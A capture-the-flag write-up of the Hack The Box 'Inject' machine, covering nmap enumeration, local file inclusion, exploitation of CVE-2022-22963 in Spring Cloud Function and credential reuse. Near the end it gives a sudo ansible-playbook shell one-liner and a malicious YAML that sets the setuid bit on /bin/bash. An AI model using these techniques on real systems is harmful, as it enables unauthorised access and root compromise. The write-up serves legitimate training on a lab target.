HTB Writeup | Inject

DISCLAIMER

The Inject box is still live on HTB. This writeup is meant to help those who are having difficulties with the box. If you have not attempted the box yet, I recommend that you try and complete the box entirely without the assistance of this writeup.

Also, I messed up while taking screenshots and trying to give them borders so the screenshots are destroyed now and I’m too lazy to get them again (at least for now). Any text that is surrounded with “!” is alt text for an image that would be there. Admittedly the images aren’t that important with the exception of the first one showing the website, but if you’re recreating the attack it really doesn’t matter that much since it’s the first thing you see at the link.


ENUMERATION

After spawning the box at an ip, referred to as inject.htb from now on, it’s time to enumerate the system. Firstly, running nmap with nmap -sV -sC inject.htb -oG inject.scan is how I normally start. The flags -sV and -sC runs nmap to probe and determine hosted services and versions along with running the basic nmap scripts against the host. Really just helps to open up the services and might point us to the answer immediately. Here we can see the results that we found:

Starting Nmap 7.92 ( https://nmap.org ) at 2023-03-13 18:42 EDT
Nmap scan report for inject.htb (10.129.35.139)
Host is up (0.019s latency).
Not shown: 998 closed tcp ports (reset)
PORT     STATE SERVICE     VERSION
22/tcp   open  ssh         OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 ca:f1:0c:51:5a:59:62:77:f0:a8:0c:5c:7c:8d:da:f8 (RSA)
|   256 d5:1c:81:c9:7b:07:6b:1c:c1:b4:29:25:4b:52:21:9f (ECDSA)
|_  256 db:1d:8c:eb:94:72:b0:d3:ed:44:b9:6c:93:a7:f9:1d (ED25519)
8080/tcp open  nagios-nsca Nagios NSCA
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: Home
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.82 seconds

Here we can see ssh is open like always, but something open on port 8080 is a bit new. Checking it out in a web browser, you can see the following:

! The host webpage, including large buttons for signup, login, and upload. !

We could try to attack the login, but I decided to go to the file upload. I tried making a basic image with proper magic bytes and a small php reverse shell and uploaded it. It didn’t work, but we can see in this url that there might be an insecure parameter here. After fuzzing it, we get this Local File Inclusion vulnerability.

! The webpage shows an LFI through the endpoint where images are loaded. !

LEVERAGING LFI

Directory listing works with the LFI, so after checking the directories around the webapp, I found the pom.xml file in the web directory:

  <?xml version="1.0" encoding="UTF-8"?>
  <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
          xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
          <modelVersion>4.0.0</modelVersion>
          <parent>
                  <groupId>org.springframework.boot</groupId>
                  <artifactId>spring-boot-starter-parent</artifactId>
                  <version>2.6.5</version>
                  <relativePath/> <!-- lookup parent from repository -->
          </parent>
          <groupId>com.example</groupId>
          <artifactId>WebApp</artifactId>
          <version>0.0.1-SNAPSHOT</version>
          <name>WebApp</name>
          <description>Demo project for Spring Boot</description>
          <properties>
                  <java.version>11</java.version>
          </properties>
          <dependencies>
                  <dependency>
                          <groupId>com.sun.activation</groupId>
                          <artifactId>javax.activation</artifactId>
                          <version>1.2.0</version>
                  </dependency>

                  <dependency>
                          <groupId>org.springframework.boot</groupId>
                          <artifactId>spring-boot-starter-thymeleaf</artifactId>
                  </dependency>
                  <dependency>
                          <groupId>org.springframework.boot</groupId>
                          <artifactId>spring-boot-starter-web</artifactId>
                  </dependency>

                  <dependency>
                          <groupId>org.springframework.boot</groupId>
                          <artifactId>spring-boot-devtools</artifactId>
                          <scope>runtime</scope>
                          <optional>true</optional>
                  </dependency>

                  <dependency>
                          <groupId>org.springframework.cloud</groupId>
                          <artifactId>spring-cloud-function-web</artifactId>
                          <version>3.2.2</version>
                  </dependency>
                  <dependency>
                          <groupId>org.springframework.boot</groupId>
                          <artifactId>spring-boot-starter-test</artifactId>
                          <scope>test</scope>
                  </dependency>
                  <dependency>
                          <groupId>org.webjars</groupId>
                          <artifactId>bootstrap</artifactId>
                          <version>5.1.3</version>
                  </dependency>
                  <dependency>
                          <groupId>org.webjars</groupId>
                          <artifactId>webjars-locator-core</artifactId>
                  </dependency>

          </dependencies>
          <build>
                  <plugins>
                          <plugin>
                                  <groupId>org.springframework.boot</groupId>
                                  <artifactId>spring-boot-maven-plugin</artifactId>
                                  <version>${parent.version}</version>
                          </plugin>
                  </plugins>
                  <finalName>spring-webapp</finalName>
          </build>

  </project>

This gets us spring-cloud-function 3.2.2 which is vulnerable to CVE-2022-22963. Using this, we should be able to send post requests to the /functionRouter endpoint that execute code on the other side of the box. Once you have RCE, you’re in. You host a reverse shell on your host, download it to the remote box, and then execute it to connect and get in.

! Proof of login as user phil. !

Now we’re logged in as the account phil, but looking in his home directory there isn’t user.txt. Instead it’s in frank’s directory, so let’s take a look at that LFI again and see if we can read anything with it. Taking another peek in with the LFI, there’s a file in /home/frank with some information about logins (password removed):

<?xml version="1.0" encoding="UTF-8"?>
<settings xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
  <servers>
    <server>
      <id>Inject</id>
      <username>phil</username>
      <password>[[[REDACTED]]]</password>
      <privateKey>${user.home}/.ssh/id_dsa</privateKey>
      <filePermissions>660</filePermissions>
      <directoryPermissions>660</directoryPermissions>
      <configuration></configuration>
    </server>
  </servers>
</settings>

If we login to phil using the creds we found, we’re now in with user.txt:

! Showing user.txt access. !

ESCALATE TO ROOT

Looking around at software that’s installed, there’s ansible-playbook which runs playbooks with sudo permissions regularly. Referencing This entry at GTFOBins we can write a malicious ansible YAML and get sudo permissions:

TF=$(mktemp)
echo '[{hosts: localhost, tasks: [shell: /bin/sh </dev/tty >/dev/tty 2>/dev/tty]}]' >$TF
sudo ansible-playbook $TF

and a malicious YAML

- hosts: localhost
  tasks:
    - name: Priv esc
      ansible.builtin.shell: |
        chmod +s /bin/bash        
      become: true

and it runs to give us a sudo shell. Once you get the malicious YAML file in, wait till it runs (probably a few minutes) and then you have root:

! Showing root access. !

AFTER ACTION

I really enjoyed doing this box, and I hope that this writeup is helpful enough but also not too helpful. It being named ‘inject’ threw me off and I spent a good 4 hours trying SQLi or file upload attacks because of it.

Also, sorry about the lack of images. I messed up with magick and really didn’t feel like recreating this a third time to get new pictures so I’ll describe what was there instead.